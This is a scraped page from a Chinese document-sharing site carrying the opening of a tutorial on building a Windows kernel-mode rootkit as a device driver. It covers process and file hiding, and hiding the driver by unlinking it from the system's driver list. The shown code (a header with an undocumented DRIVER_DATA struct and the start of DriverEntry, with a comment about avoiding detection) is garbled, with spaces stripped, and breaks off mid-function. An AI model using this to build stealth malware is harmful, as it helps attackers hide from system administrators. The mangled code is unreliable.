- 1、本文档共6页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
Rootkit隐形技术方法
一、综述
本文将引领读者打造一个初级的内核级Rootkit,然后为其引入
两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了
让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的
装载、卸载方法,以及必不可少的测试技术。
本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们
首先了解一下我们的第一个rootkit。
二、rootkit主体
本节引入一个简单的rootkit实例,它实际上只给出了rootkit
的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用
设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序
和操作系统一样,都是程序中的特权阶级——它们运行于Ring0,
有权访问系统中的所有代码和数据。还有一点需要说明的是,因为
本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后
门之类的具体功能,。
我们将以源代码的形式说明rootkit,对着重介绍一些重要的数
据结构和函数。下面,先给出我们用到的第一个文件,它是一个头
文件,名为Invisible.h,具体如下所示:
//Invisible.h:我们rootkit的头文件
#ifndef_INVISIBLE_H_
#define_INVISIBLE_H_
typedefBOOLEANBOOL;
typedefunsignedlongDWORD;
typedefDWORD*PDWORD;
typedefunsignedlongULONG;
typedefunsignedshortWORD;
typedefunsignedcharBYTE;
typedefstruct_DRIVER_DATA
{
LIST_ENTRYlistEntry;
DWORDunknown1;
DWORDunknown2;
DWORDunknown3;
DWORDunknown4;
DWORDunknown5;
DWORDunknown6;
DWORDunknown7;
UNICODE_STRINGpath;
UNICODE_STRINGname;
}DRIVER_DATA;
#endif
我们知道,应用软件只要简单引用几个文件如stdio.h和
windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就
行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二
是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里
给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit
之用的数据类型。
这里定义的类型中,有一个数据类型要提一下:双字类型,它实
际上是一个无符号长整型。此外,DRIVER_DATA是Windows操作系
统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中
上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit
恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目
录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统
管理程序就看不到它了,从而实现了隐形。
上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部
分,它实际就是一个基本的设备驱动程序,具体代码如下面的
Invisible.c所示:
//Invisible
#includentddk.h
#includeInvisible.h
#includefileManager.h
#includeconfigManager.h
//全局变量
ULONGmajorVersion;
ULONGminorVersion;
//当进行freebuild时,将其注释掉,以防被检测到
VOIDOnUnload(INPDRIVER_OBJECTpDriverObject)
{
DbgPrint(comint16:OnUnloadcalled.);
}
NTSTATUSDriverEntry(INPDRIVER_OBJECTpDriverObjec
您可能关注的文档
最近下载
- (某某公司)某某煤矿灾害治理三年规划(OA).docx VIP
- 幼儿园办园章程加入党建工作【3篇】.doc VIP
- 新外研版高二英语选择性必修二unit3Emoji a new language课件.pptx
- 天翼云从业者认证练习试题.doc
- 哈弗-哈弗H6-产品使用说明书-哈弗H6 1.5T自动两驱精英型-CC6460RM07-哈弗H6(升级版)-使用说明书-中文-01-16.01-01M.pdf
- 毕业论文(设计)薄壁筒型零件的工艺研究.doc VIP
- 《施耐德变频器ATV71说明书》.pdf
- 汉语言文学(师范)《修辞学》课程教学大纲.pdf
- 钢材运输航行船舶货物系固手册.docx VIP
- 2024知识考核消防设施操作员中级监控操作方向真题考试(含答案).docx
文档评论(0)